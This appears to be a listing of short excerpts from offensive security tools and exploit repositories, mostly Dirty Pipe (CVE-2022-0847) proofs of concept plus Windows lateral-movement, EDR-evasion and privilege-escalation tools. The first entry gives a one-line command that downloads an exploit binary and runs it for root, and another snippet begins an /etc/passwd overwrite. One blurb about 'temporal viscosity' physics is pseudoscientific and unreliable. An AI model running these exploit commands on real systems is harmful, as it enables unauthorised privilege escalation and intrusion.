Dirty-Pipe

Oneline Exploit CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

Chrono-Drip-Temporal-Viscosity-Exploitation-Framework-CVE-2022-0847

root@kitploit: Chrono-Drip: Temporal Viscosity Exploitation Framework CVE-2022-0847 Weaponization via Convergent Time Theory CTT ⚠️ DISCLAIMER FOR RESEARCH AND ACADEMIC PURPOSES ONLY This tool demonstrates the application of fundamental physics discoveries to cybersecurity. All work presented here...

dirty-pipe-poc

Dirty Pipe POC CVE-2022-0847 POC - https://dirtypipe.cm4all.com/ Description This exploit attempts to use the CVE-2022-0847 vulnerability to overwrite a read only file. When make exploit is run, it will: 1. Create a readonlyfile.txt 2. Execute the dirtypipe exploit. 3. Check if the dirtypipe...

CVE-2022-25636-PipeVersion

CVE-2022-25636 pipe version Using pipe-primitive to exploit CVE-2022-25636, so no kaslr leak nor smap smep ktpi bypass is needed : Q: What is pipe-primitive? A: https://github.com/veritas501/pipe-primitive...

DirtyPipe-Exploit

CSE 5380: Information Security Paper CVE-2022-0847 Dirty Pipe By Karan Vasudevamurthy UTA ID: 1002164438 What is CVE? Common Vulnerabilities and Exposures CVE is a list of publicly disclosed information security vulnerabilities and exposures. The MITRE corporation introduced CVE in 1999 to identi...

CVE-2022-0185-PipeVersion

CVE-2022-0185 pipe version Using pipe-primitive to exploit CVE-2022-0185, so no kaslr leak nor smap smep ktpi bypass is needed : Q: What is pipe-primitive? A: https://github.com/veritas501/pipe-primitive...

dirtypipe-container-breakout-poc

Dirty Pipe Container Escape Moved to https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept-exploits/dirtypipe-container-breakout...

Aladdin

Aladdin root@kitploit: .-. .-''-., | //\ ";\ "/ \ , |'./ \ '='-, /\ \ || ///\ '. T |\ | /,-' '. '..-' /'/ | | '. .'-../ ,\ / '-' |/ /-----j .--..--'\ / --' '---. / '---. -'. .' .-- '. \ '--. ;.-o / '. /.8----' c-'----' Lefty @lefterispan - Nettitude Red Team - 2022 / 2023 About Aladdin is a...

pipe-intercept

pipe-intercept Intercept Windows Named Pipes communication using Burp or similar HTTP proxy tools Named Pipes are very popular for interprocess communication on Windows. They are used in many applications, including Windows Remote Procedure Call RPC. The purpose of this tool is to allow security...

LiquidSnake

Liquid Snake Liquid Snake is a program aimed at performing lateral movement against Windows systems without touching the disk. The tool relies on WMI Event Subscription in order to execute a .NET assembly in memory, the .NET assembly will listen for a shellcode on a named pipe and then execute it...

CVE-2022-0847

CVE-2022-0847 The Dirty Pipe Vulnerability For educational purposes only root@kitploit: ┌──vagrant㉿kali- └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──vagrant㉿kali- └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──vagrant㉿kali- └─$ echo foo /etc/pass...

dirtypipe2

dirtypipe2 Linux Kernel 5.8 5.15.25 - Local Privilege Escalation DirtyPipe 2 Exploit Author: Antonius w1sdom github : https://github.com/bluedragonsecurity web : https://www.bluedragonsec.com tested on : linux kernel 5.13.0-21-generic compiled on lubuntu 20.04.5 linux lubuntu 20.04.2 - linux kern...

PetitPotam

PetitPotam PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions : The tools use the LSARPC named pipe with inteface c681d488-d850-11d0-8c52-00c04fd90f7e because it's more prevalent. But it's possible to trigger with the EFSRPC named...

inject-assembly

inject-assembly - Execute .NET in an Existing Process This tool is an alternative to traditional fork and run execution for Cobalt Strike. The loader can be injected into any process, including the current Beacon. Long-running assemblies will continue to run and send output back to the Beacon,...

xspawn

xspawn xspawn starts a program on macOS through launchd and never execs that program itself. The aim is that an EDR records launchd as the parent, not this tool or the calling shell. by cenobyte [email protected] 2026 https://github.com/cenobyte-vincit/xspawn Summary xspawn opens...

MultiPotato

MultiPotato First of all - credit to @splintercode & @decoderit for RoguePotato as this code heavily bases on it. This is just another Potato to get SYSTEM via SeImpersonate privileges. But this one is different in terms of It doesn't contain any SYSTEM auth trigger for weaponization. Instead the...

ysoserial-modified

ysoserial-modified Thats a fork of the original ysoserial application that can be found here: https://github.com/frohoff/ysoserial Description of the Modification Due how Runtime.getRuntime.execString.class works in java, nested and complex commands where you'll need control pipes or send the...

CVE-2026-9490

CVE ID: CVE-2026-9490 Researcher: Vo Duc Thang ugvxb Acknowledgement: https://community.acer.com/en/kb/articles/19668 1. Executive Summary A critical security vulnerability has been identified in the Acer Care Center service ACCSvc.exe. The vulnerability allows any authenticated local user to...

CVE-2026-9789

CVE ID: CVE-2026-9789 Researcher: Vo Duc Thang ugvxb Acknowledgement: https://community.acer.com/en/kb/articles/19670 Video POC: https://drive.google.com/file/d/1B8b42bE68CWMnlqG6eJWi0txGFsHAJZc/view?usp=sharing 1. Executive Summary A critical local privilege escalation vulnerability has been...

CVE-2022-0847-DirtyPipe-Exploit

A vulnerability was found in Linux Kernel up to 5.10.101/5.15.24/5.16.10 Operating System and classified as critical. This issue affects some unknown processing of the component Pipe Handler. Impacted is confidentiality, integrity, and availability. The weakness was presented 03/08/2022. The...